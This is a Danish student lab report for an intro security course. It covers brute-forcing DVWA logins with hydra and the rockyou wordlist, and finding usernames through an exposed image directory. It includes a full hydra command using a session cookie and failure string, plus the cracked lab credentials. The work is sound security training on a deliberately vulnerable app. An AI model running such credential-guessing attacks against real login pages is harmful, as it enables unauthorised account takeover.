Challenge 01 - Brute Force
Forfatter: Mathias Greisen
Dato: 2026-09-25
Fag/modul: Introduktion til IT-Sikkerhed
Status: Færdig
1. Beskrivelse af øvelsen
Brug hydra til at brute force admin password.
Bonus: Find de 4 andre brugernavne og brute force også deres adgangskoder.
2. Reproduktion trin for trin
Forudsætninger
- DVWA kørende i en virtuel maskine
- Kali linux med adgang til DVWA
Brute force admin password
-
Åben DVWA og log ind med admin:password og gå til "Brute Force"-siden.
-
Inspicer siden -> storage -> cookies og noter værdien for "PHPSESSID".
-
Forsøg log ind med forkerte oplysninger og noter fejlbeskeden på siden.
- I mit tilfælde: Username and/or password incorrect.
-
Jeg har udpakket rockyou.txt.gz for at den er mere kompatibel med andre programmer. Men måske den også virker som .gz.
-
Åben terminalen og brug hydra, sammen med wordlist, "PHPSESSID" og fejlbeskeden, til at brute force admin password.
Brute force andre brugeres username og password
-
Log ind med username og password fra forrige afsnit
-
Højreklik på billede og åben det i en ny fane. Bemærk URL adressen. Fjern "/admin.jpg" fra adressen og åben hjemmesiden.
-
Siden viser nu alle brugeres billeder, men navnet på billedet er [username].jpg. Opret en ny wordlist med de nye usernames.
-
Brug den nye username list til at burte force passwords.
Hydra med username list og password listhydra -L dvwa_usernames.txt -P /usr/share/wordlists/rockyou.txt 10.10.3.10 -s 1335 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=4n2p11105l19q1k01libu8ses3;security=low:F=Username and/or password incorrect." -u -o "dvwa_brute.txt"- "-u" bruges til først at rotere mellem brugernavne fremfor passwords. Altså hvert password prøves på alle brugernavne, når et hit er fundet til et username, prøves denne ikke af mere.
- "-o" bruges til at skrive resultatet til en fil.
dvwa_brute.txt[...] [DVWA PORT][http-get-form] host: [DVWA IP] login: smithy password: password [DVWA PORT][http-get-form] host: [DVWA IP] login: gordonb password: abc123 [DVWA PORT][http-get-form] host: [DVWA IP] login: pablo password: letmein [DVWA PORT][http-get-form] host: [DVWA IP] login: 1337 password: charley
3. Problemer og løsninger
| Problem | Årsag | Løsning |
|---|---|---|
| Problemer med at få hydra til at virke | Forsøgte først brute force admin password på dvwa forside | Søgte mig frem til at man først skal logge ind og så angribe derfra, i Brute Force fanen |
4. Anvendte ressourcer
6. Opsummering af erfaringer
Jeg har fået gode erfaringer med at bruge hydra til http brute forcing. Og fået mere viden om hvordan man, ved at kigge lidt rundt, evt. kan finde mere information, som f.eks. usernames, på en side.